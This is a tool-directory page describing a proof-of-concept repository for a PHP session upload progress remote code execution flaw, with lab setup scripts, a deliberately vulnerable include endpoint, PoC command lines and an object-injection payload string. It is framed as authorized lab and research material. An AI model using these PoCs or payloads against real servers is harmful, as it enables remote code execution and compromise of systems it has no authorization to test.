Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-115560 — Two Python PoCs for PHP session upload progress RCE: session-file LFI code execution and php_binary-to-php serializer object injection, with lab setup scripts. | Kitploit
工具/GitHubGitHub/sykeops/cve-2026-115560
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityRemote Access ToolPayload DevelopmentLabs & Practice
GitHubsykeops/cve-2026-115560

CVE-2026-115560

Two Python PoCs for PHP session upload progress RCE: session-file LFI code execution and php_binary-to-php serializer object injection, with lab setup scripts.

查看仓库
827天前尚未审核
分享
内容在请求的语言中不可用。显示英文版本。

PHP Session Upload Progress RCE PoC

PoC LFI RCE #1

https://github.com/user-attachments/assets/7d25d259-ec00-4e3a-810c-09098f0afb5f

PoC php-binary RCE #2

https://github.com/user-attachments/assets/00a0d3e7-bd78-4bdb-992f-0110fc580746

This repository contains two lab PoCs for PHP session upload progress. The upload progress handler writes an attacker-controlled field into the session file before application code runs:

  • Session-file LFI (poc.py): the handler stores a filename or progress value containing PHP code. If an authorized LFI includes the session file, that code executes.
  • Serializer switch (poc-php-binary.py): the progress record is written with php_binary, then the application switches to the php serializer and calls session_start(). The php decoder unserializes the attacker's progress value, proving an object-injection primitive without any LFI.

Use these only against systems you own or are explicitly authorized to test. The generated ?file= endpoint is intentionally unsafe and must stay in a lab.

Contents

FilePurpose
poc.pyMultipart upload PoC with --filename / --progress / --field-name injection and optional LFI polling
poc-php-binary.pyNo-LFI php_binary -> php serialization PoC
setup.shDeploys the session-file LFI lab on port 80 (installs Apache/PHP if missing)
setup-php-binary.shThe same script as setup.sh; differs only in the deployed index.php and in scoping session.serialize_handler=php_binary
poc.mp4Demo: session-file LFI
poc-php-binary.mp4Demo: php_binary serializer switch

Lab 1: session-file LFI

Setup

setup.sh detects the distribution, installs the web server and PHP packages if they are missing, clears /var/www/html, writes only index.php, and reloads the web server. Run it as a user with sudo rights; the script calls sudo itself, so there is no need to prefix the whole invocation:

bash setup.sh

When it finishes it prints [+] Deployed: /var/www/html/index.php and the URL to test.

Fedora / RHEL family

Installs httpd, php, and php-fpm. Because mod_php is no longer packaged there, the script also writes /etc/httpd/conf.d/php.conf to route .php requests to the php-fpm socket, then starts php-fpm and httpd. The page is served on the normal Apache port:

http://<host>/index.php

Ubuntu / Debian

Installs apache2, php, and libapache2-mod-php (mod_php), and enables the PHP module if it is not already loaded. The page is served on the normal Apache port:

http://<host>/index.php

The setup does not set session-related PHP INI values. It uses the system PHP configuration.

The generated page:

<?php
declare(strict_types=1);

if (isset($_GET['file']) && $_GET['file'] !== '') {
    header('Content-Type: text/plain; charset=utf-8');
    include $_GET['file'];
} else {
    echo "hello, world\n";
}

Check it:

curl http://192.168.122.170/index.php
# hello, world

setup.sh clears /var/www/html; do not run it on a host with a real site there.

Run poc.py

The PoC asks for confirmation before sending. --duration is the number of one-second upload chunks; the default is 45. Choose exactly one injection mode:

  • --filename puts the PHP payload in the multipart filename.
  • --progress puts it in the PHP_SESSION_UPLOAD_PROGRESS value (the payload cannot contain |).
  • --field-name puts it in the file part's field name, which the handler stores raw in files[].field_name (ext/session/session.c:3321) without input filtering. The payload cannot contain ", [ or ] (the multipart parser reads the field name up to the closing quote and rejects unbalanced brackets).

--lfi requires one of --fedora, --ubuntu, or --tmp so the PoC polls the session file for the right platform. On Ubuntu:

python3 poc.py \
  --remote 'http://192.168.122.170/index.php' \
  --filename \
  --lfi 'http://192.168.122.170/index.php?file={file}' \
  --ubuntu

On Fedora / RHEL:

python3 poc.py \
  --remote 'http://192.168.122.170/index.php' \
  --filename \
  --lfi 'http://192.168.122.170/index.php?file={file}' \
  --fedora

The PoC waits eight seconds, then polls the LFI once per second while the upload is still running. It stops as soon as it sees executed-payload output (RCE <version>), aborts the remaining upload, and exits 0. If the upload ends without a match it exits 1. Durations below 20 seconds are raised to 20 when polling is enabled, because PHP needs roughly ten seconds to write the progress entry.

Without --lfi, the platform flags are optional; the PoC only sends the upload and you can inspect the session file manually.

Session file paths

The platform flag selects the file to watch:

--fedora  /var/lib/php/session/sess_pwnd00000000000001
--ubuntu  /var/lib/php/sessions/sess_pwnd00000000000001
--tmp     /tmp/sess_pwnd00000000000001

Lab 2: php_binary -> php serializer switch

Setup

setup-php-binary.sh is the same script as setup.sh — the two files are byte-identical except for one lab-specific configuration block (the index.php that gets deployed and the serializer the lab runs under). It installs packages if needed, clears /var/www/html, writes its index.php, and reloads Apache, and it additionally scopes session.serialize_handler=php_binary to the lab: Fedora/RHEL use a dedicated php-fpm pool wired through /etc/httpd/conf.d/php.conf; Ubuntu/Debian use a php_value in an Apache conf snippet. Re-running setup.sh removes that scoping and restores the stock LFI lab, so the two scripts switch the shared /var/www/html lab back and forth.

bash setup-php-binary.sh

The endpoint starts with session.serialize_handler=php_binary, switches to php at runtime, and calls session_start():

<?php
declare(strict_types=1);

class Gadget {
    public function __wakeup()   { echo "SERIALIZED_WAKEUP\n"; }
    public function __destruct() { echo "SERIALIZED_DESTRUCT\n"; }
}

ini_set('session.serialize_handler', 'php');
session_start();

echo "hello, world\n";

Run poc-php-binary.py

python3 poc-php-binary.py \
  --remote 'http://192.168.122.170/index.php'

The script is serialize-only; there is no LFI mode. It sends the progress value x|O:6:"Gadget":0:{} (or the class named by --gadget) plus a normal file part. --duration defaults to 45 and is raised to at least 20. After eight seconds it polls the same URL with the same PHPSESSID every second, prints each response, and exits 0 as soon as SERIALIZED_WAKEUP or SERIALIZED_DESTRUCT appears. If the upload ends without a match it exits 1.

The x| prefix supplies the delimiter that php_binary does not write, so the php decoder sees the serialized object as the progress value.

How it works

Session-file LFI

  1. poc.py sends a multipart POST with PHP_SESSION_UPLOAD_PROGRESS and a file part.
  2. PHP processes upload progress before the application script runs and writes the progress data, including the injected payload, into the session file.
  3. The upload is dripped so the session file exists while the request is in flight, even with session.upload_progress.cleanup=1.
  4. The optional --lfi polls the generated include endpoint for the session file.
  5. PHP includes the session file and executes the <?php bytes.

The target PHP script does not need upload handling. A progress field without a file part does not trigger the progress record; a file part is required.

Serializer switch

下载工具

最受欢迎

查看全部 →

发现我们社区最常用的工具。

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 终极 OSINT 工具包:调查图谱、置信度评分、别名家族、地图、时间线和报告。49 个模块、400+ 个站点,无需 API 密钥。

    1.1k
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock 一键执行应用(CVE-2026-43499)

    594
  • 3

    looking-glass

    anonghosty/looking-glass

    CSIRT 平台,可将 Shadowserver 报告导入 MongoDB,并将其重放为交互式地图、分析、发现、公告和高管仪表板。

    387
  • 4

    ARTEX

    baarai/artex

    基于LLM的多智能体自主渗透测试平台,具备规划器/执行器智能体、资产与探索图谱、MITM流量记录以及漏洞复测功能。

    322
  • 5

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    AI原生网络安全的行动系统——在这里,意图转化为受治理的执行,证据沉淀为运营记忆,每一次操作都让下一次更出色。

    308
  • 6

    redforge

    cybersecurity91/redforge

    浏览器端红队工具包,包含 102 个离线工具,用于侦察、载荷生成、凭据攻击、加密、编码和交战报告。

    275

探索所有工具

浏览我们的工具集合

查看所有工具 →